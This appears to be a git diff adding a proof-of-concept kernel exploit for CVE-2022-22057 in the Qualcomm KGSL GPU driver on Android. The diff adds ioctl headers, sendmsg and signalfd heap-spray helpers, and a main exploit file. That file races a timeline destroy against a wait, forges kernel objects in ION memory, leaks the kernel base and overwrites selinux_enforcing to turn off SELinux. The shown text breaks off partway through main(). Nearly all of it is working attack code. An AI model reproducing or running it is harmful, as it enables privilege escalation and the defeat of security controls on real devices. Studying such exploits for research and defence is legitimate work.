+#define ION_IOC_ALLOC _IOWR(ION_IOC_MAGIC, 0, \ + struct ion_allocation_data) + +#define ION_IOC_FREE _IOWR(ION_IOC_MAGIC, 1, struct ion_handle_data) + +#define ION_IOC_MAP _IOWR(ION_IOC_MAGIC, 2, struct ion_fd_data) + +#define ION_IOC_SHARE _IOWR(ION_IOC_MAGIC, 4, struct ion_fd_data) + +#define ION_IOC_IMPORT _IOWR(ION_IOC_MAGIC, 5, struct ion_fd_data) + +#define ION_IOC_SYNC _IOWR(ION_IOC_MAGIC, 7, struct ion_fd_data) + +#define ION_IOC_CUSTOM _IOWR(ION_IOC_MAGIC, 6, struct ion_custom_data) + +#define ION_BIT(nr) (1UL << (nr)) + +#define ION_HEAP(bit) ION_BIT(bit) + +#define KGSL_MEMFLAGS_USE_CPU_MAP 0x10000000ULL + +#define KGSL_MEMFLAGS_SECURE 0x00000008ULL + +enum kgsl_user_mem_type { + KGSL_USER_MEM_TYPE_PMEM = 0x00000000, + KGSL_USER_MEM_TYPE_ASHMEM = 0x00000001, + KGSL_USER_MEM_TYPE_ADDR = 0x00000002, + KGSL_USER_MEM_TYPE_ION = 0x00000003, + /* + * ION type is retained for backwards compatibility but Ion buffers are + * dma-bufs so try to use that naming if we can + */ + KGSL_USER_MEM_TYPE_DMABUF = 0x00000003, + KGSL_USER_MEM_TYPE_MAX = 0x00000007, +}; + +struct kgsl_gpuobj_import { + uint64_t __user priv; + uint64_t priv_len; + uint64_t flags; + unsigned int type; + unsigned int id; +}; + +struct kgsl_gpuobj_import_dma_buf { + int fd; +}; + +struct kgsl_gpuobj_import_useraddr { + uint64_t virtaddr; +}; + +struct kgsl_gpuobj_free { + uint64_t flags; + uint64_t __user priv; + unsigned int id; + unsigned int type; + unsigned int len; +}; + +#define KGSL_GPUOBJ_FREE_ON_EVENT 1 + +#define KGSL_GPU_EVENT_TIMESTAMP 1 +#define KGSL_GPU_EVENT_FENCE 2 + +struct kgsl_gpu_event_timestamp { + unsigned int context_id; + unsigned int timestamp; +}; + +struct kgsl_gpu_event_fence { + int fd; +}; + +#define IOCTL_KGSL_GPUOBJ_FREE \ + _IOW(KGSL_IOC_TYPE, 0x46, struct kgsl_gpuobj_free) + +struct dma_buf_sync { + __u64 flags; +}; + +#define DMA_BUF_SYNC_READ (1 << 0) +#define DMA_BUF_SYNC_WRITE (2 << 0) +#define DMA_BUF_SYNC_RW (DMA_BUF_SYNC_READ | DMA_BUF_SYNC_WRITE) +#define DMA_BUF_SYNC_START (0 << 2) +#define DMA_BUF_SYNC_END (1 << 2) +#define DMA_BUF_SYNC_VALID_FLAGS_MASK \ + (DMA_BUF_SYNC_RW | DMA_BUF_SYNC_END) + +#define DMA_BUF_BASE 'b' +#define DMA_BUF_IOCTL_SYNC _IOW(DMA_BUF_BASE, 0, struct dma_buf_sync) + +#define KGSL_MEMFLAGS_FORCE_32BIT 0x100000000ULL + +struct kgsl_timeline_create { + __u64 seqno; + __u32 id; +/* private: padding for 64 bit compatibility */ + __u32 padding; +}; + +#define IOCTL_KGSL_TIMELINE_CREATE \ + _IOWR(KGSL_IOC_TYPE, 0x58, struct kgsl_timeline_create) + +/** + * struct kgsl_timeline_val - A container to store a timeline/sequence number + * pair. + * @seqno: Sequence number to signal/query + * @timeline: The timeline identifier to signal/query + * + * A container to store a timeline/seqno pair used by the query and signal + * ioctls. + */ +struct kgsl_timeline_val { + __u64 seqno; + __u32 timeline; +/* private: padding for 64 bit compatibility */ + __u32 padding; +}; + +#define KGSL_TIMELINE_WAIT_ALL 1 +#define KGSL_TIMELINE_WAIT_ANY 2 + +/** + * struct kgsl_timeline_wait - Argument for IOCTL_KGSL_TIMELINE_WAIT + * @tv_sec: Number of seconds to wait for the signal + * @tv_nsec: Number of nanoseconds to wait for the signal + * @timelines: Address of an array of &struct kgsl_timeline_val entries + * @count: Number of entries in @timeline + * @timelines_size: Size of each entry in @timelines + * @flags: One of KGSL_TIMELINE_WAIT_ALL or KGSL_TIMELINE_WAIT_ANY + * + * Wait for the timelines listed in @timelines to be signaled. If @flags is + * equal to KGSL_TIMELINE_WAIT_ALL then wait for all timelines or if + * KGSL_TIMELINE_WAIT_ANY is specified then wait for any of the timelines to + * signal. @tv_sec and @tv_nsec indicates the number of seconds and nanoseconds + * that the process should be blocked waiting for the signal. + */ +struct kgsl_timeline_wait { + __s64 tv_sec; + __s64 tv_nsec; + __u64 timelines; + __u32 count; + __u32 timelines_size; + __u32 flags; +/* private: padding for 64 bit compatibility */ + __u32 padding; +}; + +#define IOCTL_KGSL_TIMELINE_WAIT \ + _IOW(KGSL_IOC_TYPE, 0x59, struct kgsl_timeline_wait) + +#define IOCTL_KGSL_TIMELINE_QUERY \ + _IOWR(KGSL_IOC_TYPE, 0x5A, struct kgsl_timeline_val) + +/** + * struct kgsl_timeline_signal - argument for IOCTL_KGSL_TIMELINE_SIGNAL + * @timelines: Address of an array of &struct kgsl_timeline_val entries + * @count: Number of entries in @timelines + * @timelines_size: Size of each entry in @timelines + * + * Signal an array of timelines of type @struct kgsl_timeline_val. + */ +struct kgsl_timeline_signal { + __u64 timelines; + __u32 count; + __u32 timelines_size; +}; + +#define IOCTL_KGSL_TIMELINE_SIGNAL \ + _IOW(KGSL_IOC_TYPE, 0x5B, struct kgsl_timeline_signal) + +/** + * struct kgsl_timeline_fence_get - argument for IOCTL_KGSL_TIMELINE_FENCE_GET + * @seqno: Sequence number for the fence + * @timeline: Timeline to create the fence on + * @handle: Contains the fence fd for a successful operation [out] + * + * Create a sync file descriptor for the seqnum on the timeline and return it in + * @handle. Can be polled and queried just like any other sync file descriptor + */ +struct kgsl_timeline_fence_get { + __u64 seqno; + __u32 timeline; + int handle; +}; + +#define IOCTL_KGSL_TIMELINE_FENCE_GET \ + _IOWR(KGSL_IOC_TYPE, 0x5C, struct kgsl_timeline_fence_get) +/** + * IOCTL_KGSL_TIMELINE_DESTROY takes a u32 identifier for the timeline to + * destroy + */ +#define IOCTL_KGSL_TIMELINE_DESTROY _IOW(KGSL_IOC_TYPE, 0x5D, __u32) + +#endif diff --git a/SecurityExploits/Android/Qualcomm/CVE-2022-22057/sendmsg_spray.c b/SecurityExploits/Android/Qualcomm/CVE-2022-22057/sendmsg_spray.c new file mode 100644 index 0000000..7c2e407 --- /dev/null +++ b/SecurityExploits/Android/Qualcomm/CVE-2022-22057/sendmsg_spray.c @@ -0,0 +1,187 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "sendmsg_spray.h" +#include "cpu_utils.h" + +//Taken from: https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part3.html + +int init_realloc_data(char* realloc_data, size_t obj_size, int level, int type) { + if (level == 1) err(1, "Level cannot be 1\n"); + struct cmsghdr *first; + + // necessary to pass checks in __scm_send() + first = (struct cmsghdr*) realloc_data; + first->cmsg_len = obj_size; + first->cmsg_level = level; + first->cmsg_type = type; + return 0; +} + +int init_unix_sockets(struct realloc_thread_arg * rta) { + struct timeval tv; + static int sock_counter = 0; + + if (((rta->recv_fd = socket(AF_UNIX, SOCK_DGRAM, 0)) < 0) || + ((rta->send_fd = socket(AF_UNIX, SOCK_DGRAM, 0)) < 0)) + { + perror("[-] socket"); + goto fail; + } + + memset(&rta->addr, 0, sizeof(rta->addr)); + rta->addr.sun_family = AF_UNIX; + sprintf(rta->addr.sun_path + 1, "sock_%x_%d", gettid(), ++sock_counter); + if (bind(rta->recv_fd, (struct sockaddr*)&rta->addr, sizeof(rta->addr))) + { + perror("[-] bind"); + goto fail; + } + + if (connect(rta->send_fd, (struct sockaddr*)&rta->addr, sizeof(rta->addr))) + { + perror("[-] connect"); + goto fail; + } + + memset(&tv, 0, sizeof(tv)); + if (setsockopt(rta->recv_fd, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv))) { + err(1, "setsockopt"); + } + + return 0; +fail: + printf("[-] failed to initialize UNIX sockets!\n"); + return -1; +} + +static volatile size_t g_nb_realloc_thread_ready = 0; +static volatile size_t g_realloc_now[MAX_SENDMSG_BATCH] = {0}; + +static void* realloc_thread(void *arg) +{ + struct realloc_thread_arg *rta = (struct realloc_thread_arg*) arg; + struct msghdr mhdr; + char buf[200] = {0}; + + // initialize msghdr + struct iovec iov = { + .iov_base = buf, + .iov_len = sizeof(buf), + }; + memset(&mhdr, 0, sizeof(mhdr)); + mhdr.msg_iov = &iov; + mhdr.msg_iovlen = 1; + + // the thread should inherit main thread cpumask, better be sure and redo-it! + migrate_to_cpu(rta->spray_cpu); + + // make it block + while (sendmsg(rta->send_fd, &mhdr, MSG_DONTWAIT) > 0) + ; + if (errno != EAGAIN) + { + perror("[-] sendmsg"); + goto fail; + } + + // use the ancillary data now + iov.iov_len = 16; + mhdr.msg_control = (void*)(rta->realloc_data); // use the ancillary data buffer + mhdr.msg_controllen = rta->object_size; + + g_nb_realloc_thread_ready++; + int batch_num = rta->batch_num; + + while (!g_realloc_now[batch_num]) // spinlock until the big GO! + ; + // the next call should block while "reallocating" + if (sendmsg(rta->send_fd, &mhdr, 0) < 0) + { +// perror("[-] sendmsg"); + goto fail; + } + return NULL; + +fail: +// printf("[-] REALLOC THREAD FAILURE!!!\n"); + return NULL; +} + +int init_reallocation(struct realloc_thread_arg *rta, size_t nb_reallocs) +{ + int thread = 0; + int ret = -1; + + if (init_realloc_data(rta->realloc_data, rta->object_size, rta->level, rta->type)) + { + printf("[-] failed to initialize reallocation data!\n"); + goto fail; + } + printf("[+] reallocation data initialized!\n"); + + printf("[ ] initializing reallocation threads, please wait...\n"); + for (thread = 0; thread < nb_reallocs; ++thread) + { + if (init_unix_sockets(&rta[thread])) + { + printf("[-] failed to init UNIX sockets!\n"); + goto fail; + } + + if ((ret = pthread_create(&rta[thread].tid, NULL, realloc_thread, &rta[thread])) != 0) + { + perror("[-] pthread_create"); + goto fail; + } + } + + while (g_nb_realloc_thread_ready < nb_reallocs) + sched_yield(); + + printf("[+] %lu reallocation threads ready!\n", nb_reallocs); + + return 0; + +fail: + printf("[-] failed to initialize reallocation\n"); + return -1; +} + +void cleanup(struct realloc_thread_arg* rta) { + struct msghdr mhdr; + int size = 0; + while (size >= 0) { + if ((size = recvmsg(rta->recv_fd, &mhdr, MSG_DONTWAIT)) < 0) { + break; + } + } + close(rta->recv_fd); + close(rta->send_fd); +} + +void reset() { + for (int i = 0; i < sizeof(g_realloc_now)/sizeof(size_t); i++) { + g_realloc_now[i] = 0; + } + g_nb_realloc_thread_ready = 0; +} + +void realloc_NOW(int interval) +{ + for (int i = 0; i < sizeof(g_realloc_now)/sizeof(size_t); i++) { + g_realloc_now[i] = 1; + usleep(interval); + } + sched_yield(); // don't run me, run the reallocator threads! + sleep(5); +} + diff --git a/SecurityExploits/Android/Qualcomm/CVE-2022-22057/sendmsg_spray.h b/SecurityExploits/Android/Qualcomm/CVE-2022-22057/sendmsg_spray.h new file mode 100644 index 0000000..aa2c420 --- /dev/null +++ b/SecurityExploits/Android/Qualcomm/CVE-2022-22057/sendmsg_spray.h @@ -0,0 +1,32 @@ +#ifndef SENDMSG_SPRAY_H +#define SENDMSG_SPRAY_H +#include +#include +#include +#include + +#define MAX_SENDMSG_BATCH 6 + +struct realloc_thread_arg +{ + pthread_t tid; + int recv_fd; + int send_fd; + struct sockaddr_un addr; + char* realloc_data; + size_t object_size; + int spray_cpu; + int level; + int type; + int batch_num; +}; + +int init_reallocation(struct realloc_thread_arg *rta, size_t nb_reallocs); + +void reset(); + +void realloc_NOW(int); + +void cleanup(struct realloc_thread_arg* rta); + +#endif diff --git a/SecurityExploits/Android/Qualcomm/CVE-2022-22057/signalfd_spray.c b/SecurityExploits/Android/Qualcomm/CVE-2022-22057/signalfd_spray.c new file mode 100644 index 0000000..3aaea67 --- /dev/null +++ b/SecurityExploits/Android/Qualcomm/CVE-2022-22057/signalfd_spray.c @@ -0,0 +1,69 @@ +#include +#include +#include +#include +#include +#include + +#include "cpu_utils.h" +#include "signalfd_spray.h" + +void spray_signalfd(uint64_t* mask, int num, int cpu, int* fds) { + if (migrate_to_cpu(cpu) == -1) { + return; + } + for (int i = 0; i < num; i++) { + int ret = signalfd(-1, (sigset_t*)mask, 0); + fds[i] = ret; + } +} + +uint64_t read_signalfd_mask(int fd) { + char buffer[100] = {0}; + int size = snprintf(buffer, 100, "/proc/self/fdinfo/%d", fd); + if (size < 0 || size >= 100) err(1, "read_signalfd_mask buffer too small\n"); + FILE* proc_fd = fopen(buffer, "r"); + if (proc_fd == NULL) { + err(1, "fail to open fdinfo\n"); + } + uint64_t x = 0x13371337; + while(fscanf(proc_fd, "%*s\t%lx\n", &x) == 1); + fclose(proc_fd); + return x; +} + +void spray_with_intervals(uint64_t interval, int count, int exclude_cpu_mask, uint64_t* mask, int* fds, int spray_size) { + uint64_t offset = 0; + for (int i = 0; i < count; i++) { + for (int cpu = 0; cpu < CPU_RANGE; cpu++) { + if ((1 << cpu) & exclude_cpu_mask) { + offset += spray_size; + continue; + } + spray_signalfd(mask, spray_size, cpu, fds + offset); + offset += spray_size; + } + usleep(interval); + } +} + +int search_changed_mask(uint64_t expected, int* fds, uint64_t fd_size, uint64_t* new_mask) { + for (int i = 0; i < fd_size; i++) { + if (fds[i] == -1 || fds[i] == 0) continue; + uint64_t this_mask = read_signalfd_mask(fds[i]); + if (this_mask != expected) { + printf("mask %lx %d\n", this_mask, i); + *new_mask = this_mask; + return i; + } + } + return -1; +} + +void change_signalfd_mask(uint64_t* mask, int fd) { + if (fd == -1) err(1, "fd should not be -1\n"); + if (signalfd(fd, (sigset_t*)mask, 0) < 0) { + err(1, "Failed to change mask\n"); + } + +} diff --git a/SecurityExploits/Android/Qualcomm/CVE-2022-22057/signalfd_spray.h b/SecurityExploits/Android/Qualcomm/CVE-2022-22057/signalfd_spray.h new file mode 100644 index 0000000..9caedb8 --- /dev/null +++ b/SecurityExploits/Android/Qualcomm/CVE-2022-22057/signalfd_spray.h @@ -0,0 +1,15 @@ +#ifndef SIGNALFD_SPRAY_H +#define SIGNALFD_SPRAY_H + +#define CPU_RANGE 7 + +void spray_signalfd(uint64_t* mask, int num, int cpu, int* fds); + +uint64_t read_signalfd_mask(int fd); + +void spray_with_intervals(uint64_t interval, int count, int exclude_cpu_mask, uint64_t* mask, int* fds, int spray_size); + +int search_changed_mask(uint64_t expected, int* fds, uint64_t fd_size, uint64_t* new_mask); + +void change_signalfd_mask(uint64_t* mask, int fd); +#endif diff --git a/SecurityExploits/Android/Qualcomm/CVE-2022-22057/timeline_wait.c b/SecurityExploits/Android/Qualcomm/CVE-2022-22057/timeline_wait.c new file mode 100644 index 0000000..72ff49c --- /dev/null +++ b/SecurityExploits/Android/Qualcomm/CVE-2022-22057/timeline_wait.c @@ -0,0 +1,799 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "sendmsg_spray.h" +#include "kgsl_ioctl.h" +#include "signalfd_spray.h" +#include "cpu_utils.h" +#include "ion_utils.h" +#include "fake_obj_util.h" +#include "addr_utils.h" +#include "work_queue_utils.h" + +static volatile uint32_t timeline_id = 0; +static volatile uint32_t fd = 0; +static volatile uint32_t g_unlocked_read = 0; +static volatile uint32_t g_destroy_now = 0; +static volatile int pipe_write = 0; +static volatile int g_finished_read = 0; +static volatile int g_close_now = 0; +static volatile int g_signal_now = 0; +static volatile int g_free_spray_cpu = 0; +static volatile long wait_start_sec, wait_start_usec; + +static struct kgsl_timeline_val timelines[1]; + +#define SPRAY_CPU 0 + +#define DESTROY_CPU 1 + +#define POLL_CPU 4 + +#define SECOND_POLL_CPU 5 + +#define OBJECT_SIZE 128 + +#define NB_REALLOC_THREADS 40 + +#define NB_DELAY_THREADS 8 + +#define ENFORCING_OFF 0x32393d4 + +#define WAIT_QUEUE_HEAD_OFF 0x8 + +#define ION_HEAP_ID ION_USER_CONTIG_HEAP_ID + +#define SZ_1M (1024 * 1024) + +#define FAKE_REGION_SIZE (16 * SZ_1M) + +#define SIGFD_MASK ((~(1ul << 8)) & (~(1ul << 18))) + +#define SLAB_SIZE 96 + +#define SPRAY_INTERVAL 7500 + +#define PER_INTERVAL_SPRAY 8 + +#define CHAIN_SIZE (32 * 64) + +#define INTERVAL_COUNT (32) + +#define SIGFD1_SPRAY 16 + +#define BATCH_SIZE 10 + +#define SIGFD_SPRAY_NUM1 (NB_REALLOC_THREADS * SIGFD1_SPRAY) + +#define SIGFD_SPRAY_OVERFLOW 512 + +#define SIGFD_SPRAY_NUM2 (CPU_RANGE * PER_INTERVAL_SPRAY * INTERVAL_COUNT) + +#define SYNC_FILE_NUM 20000 + +#define ION_DMA_SIZE 1024 + +static int sigfds[SIGFD_SPRAY_NUM1 + SIGFD_SPRAY_OVERFLOW] = {-1}; + +static int sigfds2[SIGFD_SPRAY_NUM2] = {-1}; + +static int syncfds[SYNC_FILE_NUM] = {-1}; + +static char g_realloc_data[OBJECT_SIZE] = {0}; + +void* busy_loop(void* arg) { + migrate_to_cpu(DESTROY_CPU); + while (!g_finished_read); + return NULL; +} + +void* keep_spray_cpu_busy(void* arg) { + migrate_to_cpu(SPRAY_CPU); + while (!g_free_spray_cpu); + return NULL; +} + +void* read_pipe(void* arg) { + int buffer[80]; + pthread_t threads[NB_DELAY_THREADS]; + printf("readpipe start\n"); + migrate_to_cpu(DESTROY_CPU); + int fd = *((int*)arg); + read(fd, buffer, sizeof(buffer)); + g_unlocked_read = 1; + close(fd); + printf("readpipe\n"); + for (int i = 0; i < NB_DELAY_THREADS; i++) { + pthread_create(&threads[i], NULL, busy_loop, NULL); + } + while(!g_finished_read); + printf("readpipe finished\n"); + + return NULL; +} + +int create_timeline(int fd, int seqno) { + struct kgsl_timeline_create create_par = {0}; + create_par.seqno = seqno; + if (ioctl(fd, IOCTL_KGSL_TIMELINE_CREATE, &create_par) < 0) { + err(1, "Timeline create failed\n"); + } + return create_par.id; +} + +int timeline_fence_get(int fd, int seqno, int timeline) { + struct kgsl_timeline_fence_get fence_get_par = {0}; + fence_get_par.seqno = seqno; + fence_get_par.timeline = timeline; + if (ioctl(fd, IOCTL_KGSL_TIMELINE_FENCE_GET, &fence_get_par) < 0) { + err(1, "Timeline fence get failed\n"); + } + return fence_get_par.handle; +} + +void sig_func(int sig) +{ + printf("Caught signal: %d\n",sig); +} + +void* timeline_wait(void* arg) { + struct timeval wait_end; + long micros_used, secs_used, timelapsed; + migrate_to_cpu(SPRAY_CPU); + signal(SIGUSR1,sig_func); + printf("timeline_wait start\n"); + struct kgsl_timeline_wait wait_par = {0}; + wait_par.flags = KGSL_TIMELINE_WAIT_ANY; + wait_par.timelines = (uint64_t)(&timelines[0]); + wait_par.timelines_size = 16; + wait_par.count = 1; + wait_par.tv_sec = 0xffffffff; + printf(" wait complete %d\n", ioctl(fd, IOCTL_KGSL_TIMELINE_WAIT, &wait_par)); + usleep(120000); + realloc_NOW(20000); + sleep(20); + g_finished_read = 1; + return NULL; +} + +void* destroy(void* arg) { + struct timeval start, end; + long micros_used, secs_used, timelapsed; + migrate_to_cpu(DESTROY_CPU); + while (!g_destroy_now); + printf("destroy start\n"); + if (ioctl(fd, IOCTL_KGSL_TIMELINE_DESTROY, &timeline_id) < 0) { + err(1, "destroy failed\n"); + } + printf("destroy finished\n"); + return NULL; +} + +void close_unused_fds(int* fds, size_t size, int exclude_index) { + for (int i = 0; i < size; i++) { + if (fds[i] == -1) continue; + if (i != exclude_index) { + close(fds[i]); + fds[i] = -1; + } + } +} + +void check_fence_space(uint64_t zero_region_vaddr, uint64_t region_vaddr, size_t slab_size) { + uint64_t new_mask = (~(region_vaddr)) & SIGFD_MASK; + uint64_t new_region_vaddr = ~new_mask; + if (new_region_vaddr + 128 * slab_size >= zero_region_vaddr) err(1, "Not enough space for slab\n"); +} + +void create_fake_slab(uint8_t* ion_region, int offset, size_t size, uint64_t region_vaddr) { + uint64_t* slab_start = (uint64_t*)(ion_region + offset); + uint64_t bin_size = 128/sizeof(uint64_t); + uint64_t idx = 0; + for (int i = 0; i < size; i++) { + if (i == size - 1) slab_start[idx] = 0; + slab_start[idx] = (region_vaddr + offset + (i + 1) * 128); + idx += bin_size; + } +} + +int spray_ion_buffer(int ion_fd, size_t num, int cpu_id, int* fds, uint64_t* flags) { + struct ion_allocation_data ion_alloc_data = {0}; + ion_alloc_data.len = 0x1000; + ion_alloc_data.heap_id_mask = ION_QSECOM_HEAP_ID; + + for (int i = 0; i < num; i++) { + ion_alloc_data.flags = flags[i]; + migrate_to_cpu(cpu_id); + if (ioctl(ion_fd, ION_IOC_ALLOC, &ion_alloc_data) < 0) { + return i; + } + fds[i] = ion_alloc_data.fd; + if ((i + 1) % 64 == 0) usleep(1000); + } + return num; +} + +int search_ion_buffer(uint8_t* slab_start, size_t slab_size, unsigned long* flags, int* found_dma, int* found_idx, size_t flag_size) { + uint8_t* curr = slab_start; + int ret = 0; + for (int i = 0; i < slab_size; i++) { + struct ion_buffer* this_buf = (struct ion_buffer*)curr; + for (int flag_idx = 0; flag_idx < flag_size; flag_idx++) { + if (this_buf->flags == flags[flag_idx]) { + found_dma[flag_idx] = 1; + found_idx[i] = 1; + ret++; + break; + } + } + curr+= 128; + } + return ret; +} + +uint64_t get_kernel_base(int ion_dma_fd, struct ion_buffer* buffer, uint64_t table_vaddr, uint8_t* table_region, uint64_t heap_addr, uint64_t* heap_region) { + uint64_t phys_addr = virt_to_phys_lm(heap_addr); + uint64_t offset = phys_addr % 0x1000; + patch_ion_buffer(buffer, table_vaddr, table_region, phys_addr, 0x1000); + uint64_t len = 0x1000; + void* ion_region = mmap(NULL, len, PROT_READ|PROT_WRITE, MAP_SHARED, ion_dma_fd, 0); + if (ion_region == MAP_FAILED) { + err(1, "get_kernel_base map failed"); + } + uint64_t* addr_ptr = (uint64_t*)(ion_region + offset + ION_HEAP_OPS_OBJ_OFF); + *heap_region = (uint64_t)(ion_region + offset); + uint64_t heap_ops_addr = *addr_ptr; + if (heap_ops_addr == 0) { + printf("addr_ptr %p heap_region %p phys_addr %lx\n", addr_ptr, ion_region + offset, phys_addr); + return 0; + } + uint64_t kernel_base = heap_ops_addr - ION_HEAP_OPS_OFF - KERNEL_PHYS_OFF; + printf("heap_ops %lx, kernel base: %lx\n", heap_ops_addr, kernel_base); + return kernel_base; +} + +int set_enforcing(int ion_dma_fd, struct ion_buffer* buffer, uint64_t table_vaddr, uint8_t* table_region, uint64_t kernel_base, uint64_t* enforcing_region) { + uint64_t phys_addr = kernel_base + ENFORCING_OFF; + uint64_t offset = phys_addr % 0x1000; + patch_ion_buffer(buffer, table_vaddr, table_region, phys_addr, 0x1000); + uint64_t len = 0x1000; + void* ion_region = mmap(NULL, len, PROT_READ|PROT_WRITE, MAP_SHARED, ion_dma_fd, 0); + if (ion_region == MAP_FAILED) { + printf("set_enforcing map failed"); + return -1; + } + *enforcing_region = (uint64_t)(ion_region + offset); + uint8_t* enforcing_ptr = (uint8_t*)(ion_region + offset); + enforcing_ptr[0] = 0; + printf("set enforcing to permissive\n"); + char result = '2'; + sleep(1); + int enforce_fd = open("/sys/fs/selinux/enforce", O_RDONLY); + read(enforce_fd, &result, 1); + close(enforce_fd); + if (result == '0') { + printf("[+] successfully overwritten selinux_enforcing\n"); + } else { + printf("[-] Failed to overwrite selinux_enforcing\n"); + return -1; + } + return 0; +} + +void repair_heap(uint64_t ion_heap, uint64_t ion_heap_vaddr, int* ion_dma_fds, uint64_t* ion_dma_regions, size_t dma_buf_size) { + uint64_t* freelist = (uint64_t*)(ion_heap + ION_HEAP_FREELIST_OFF); + freelist[0] = ion_heap_vaddr + ION_HEAP_FREELIST_OFF; + freelist[1] = ion_heap_vaddr + ION_HEAP_FREELIST_OFF; + uint64_t* wait_queue_head = (uint64_t*)(ion_heap + ION_HEAP_WAITQUEUE_OFF + WAIT_QUEUE_HEAD_OFF); + wait_queue_head[0] = ion_heap_vaddr + ION_HEAP_WAITQUEUE_OFF + WAIT_QUEUE_HEAD_OFF; + wait_queue_head[1] = ion_heap_vaddr + ION_HEAP_WAITQUEUE_OFF + WAIT_QUEUE_HEAD_OFF; + + uint64_t* flags = (uint64_t*)(ion_heap + ION_HEAP_FLAGS_OFF); + flags[0] |= ION_HEAP_FLAG_DEFER_FREE; + printf("freeing ion dma fd\n"); + for (int i = 0; i < dma_buf_size; i++) { + close(ion_dma_fds[i]); + if (ion_dma_regions[i] != 0) { + munmap((void*)page_align(ion_dma_regions[i]), 0x1000); + } + } + freelist[0] = ion_heap_vaddr + ION_HEAP_FREELIST_OFF; + freelist[1] = ion_heap_vaddr + ION_HEAP_FREELIST_OFF; + printf("finished freeing ion dma fd\n"); +} + +int get_ion_dma_fd(int* found_dma, int* ion_dma_fds, int skip, int size) { + struct ion_buffer* ion_buf = NULL; + int remain_skip = skip; + for (int i = 0; i < size; i++) { + if (found_dma[i] != 0) { + if (remain_skip == 0) { + return ion_dma_fds[i]; + } + remain_skip--; + } + } + return -1; +} + +struct ion_buffer* get_ion_buffer(int* found_idx, uint8_t* region_ptr, int skip, int size) { + int remain_skip = skip; + for (int i = 0; i < size; i++) { + if (found_idx[i] != 0) { + if (remain_skip == 0) { + return (struct ion_buffer*)(region_ptr + i * 128); + } + remain_skip--; + } + } + return NULL; +} + +int assign_batch_num(int thread_num) { + int num_per_batch = NB_REALLOC_THREADS/MAX_SENDMSG_BATCH; + int remainder = NB_REALLOC_THREADS % MAX_SENDMSG_BATCH; + int extra_threshold = (num_per_batch + 1) * remainder; + if (thread_num < extra_threshold) { + return thread_num/(num_per_batch + 1); + } + return (thread_num - extra_threshold)/num_per_batch + remainder; +} + +int main() { + setbuf(stdout, NULL); + setbuf(stderr, NULL); + pthread_t thread1, thread2, thread3; + + int kgsl_fd; + struct realloc_thread_arg rta[NB_REALLOC_THREADS]; + + int exclude_cpu = check_cpu_affinity(); + int poll_cpu = exclude_cpu != POLL_CPU ? POLL_CPU : SECOND_POLL_CPU; + + migrate_to_cpu(3); + + kgsl_fd = open("/dev/kgsl-3d0", 0); + if (kgsl_fd == -1) { + err(1, "cannot open kgsl\n"); + } + fd = kgsl_fd; + + int ion_fd = open("/dev/ion", 0); + if (ion_fd == -1) err(1, "cannot open ion\n"); + + timeline_id = create_timeline(fd, 0); + + struct kgsl_timeline_val val = {0}; + val.timeline = timeline_id; + val.seqno = 10; + timelines[0] = val; + + for (int i = 0; i < SYNC_FILE_NUM; i++) { + syncfds[i] = timeline_fence_get(fd, 10, timeline_id); + } + + for (int i = 0; i < OBJECT_SIZE; i++) { + g_realloc_data[i] = i; + } + + struct dma_fence* fence = (struct dma_fence*)(&(g_realloc_data[0])); + fence->flags = 1; + fence->refcount = 1; + + size_t heap_size = ion_heap_size(ION_HEAP_ID); + if (heap_size < FAKE_REGION_SIZE) err(1, "heap_size smaller than FAKE_REGION_SIZE %lu\n", heap_size); + heap_size = FAKE_REGION_SIZE; + if (heap_size % 0x1000 != 0) err(1, "heap_size not page aligned\n"); + uint8_t* ion_region = (uint8_t*)spray_ion_heap(ION_HEAP_ID, heap_size); + if (ion_region == NULL) err(1, "Out of memory in reserved pool.\n"); + + uint64_t region_vaddr = ion_heap_phys_addr(ION_HEAP_ID) - PHYS_TO_VIRT_OFF; + + region_vaddr += (ion_heap_size(ION_HEAP_ID) - FAKE_REGION_SIZE)/2; + uint64_t fence_off = fill_ion_heap(ion_region, CHAIN_SIZE, heap_size, region_vaddr); + uint64_t fence_kstart = region_vaddr + fence_off; + uint64_t zero_region_vaddr = fence_kstart - ZERO_FILL_SZ; + + printf("region start addr: %lx\n", region_vaddr); + printf("fence kernel addr: %lx %d\n", fence_kstart, ion_region[fence_off + (CHAIN_SIZE - 1)* 128 + 0x8]); + + check_fence_space(zero_region_vaddr, SLAB_SIZE, region_vaddr); + uint64_t new_mask = (~(region_vaddr)) & SIGFD_MASK; + uint64_t region_offset = ~(new_mask) - region_vaddr; + create_fake_slab(ion_region, region_offset, SLAB_SIZE, region_vaddr); + printf("created fake slab at %lx\n", ~new_mask); + + struct kgsl_timeline_fence* tfence = (struct kgsl_timeline_fence*)(&(g_realloc_data[0])); + tfence->node.next = fence_kstart + NODE_OFF; + memset(rta, 0, sizeof(rta)); + for (int i = 0; i < NB_REALLOC_THREADS; i++) { + rta[i].realloc_data = &(g_realloc_data[0]); + rta[i].object_size = OBJECT_SIZE; + rta[i].spray_cpu = SPRAY_CPU; + rta[i].level = (uint32_t)((zero_region_vaddr << 32) >> 32); + rta[i].type = (uint32_t)(zero_region_vaddr >> 32); + rta[i].batch_num = assign_batch_num(i); + } + + uint64_t cb_list = 0; + void* fence_start = ion_region + fence_off; + uint64_t mask2 = 0x4041; + uint64_t per_interval_spray = PER_INTERVAL_SPRAY; + + if (init_reallocation(rta, NB_REALLOC_THREADS)) { + err(1, "[-] failed to initialize reallocation!\n"); + } + + pthread_create(&thread1, NULL, destroy, NULL); + struct sched_param sched_par = {0}; + + if (pthread_setschedparam(thread1, SCHED_IDLE, &sched_par) != 0) { + err(1, "[-] set priority for trigger failed\n"); + } + + int pipe_fd[2]; + pipe(pipe_fd); + + pthread_t rw_tid; + if (pthread_create(&rw_tid, NULL, read_pipe, &(pipe_fd[0])) != 0) { + err(1, "[-] pthread_create read"); + } + pipe_write = pipe_fd[1]; + struct sched_param sched_par2 = {0}; + + if (pthread_setschedparam(rw_tid, SCHED_NORMAL, &sched_par2) != 0) { + err(1, "[-] set priority for rw failed\n"); + } + + pthread_create(&thread2, NULL, timeline_wait, NULL); + sleep(5); + struct timeval wait_start; + char write_char; + write_char = 'a'; + gettimeofday(&wait_start, NULL); + wait_start_sec = wait_start.tv_sec; + wait_start_usec = wait_start.tv_usec; + + g_destroy_now = 1; + usleep(1000); + pthread_kill(thread2, 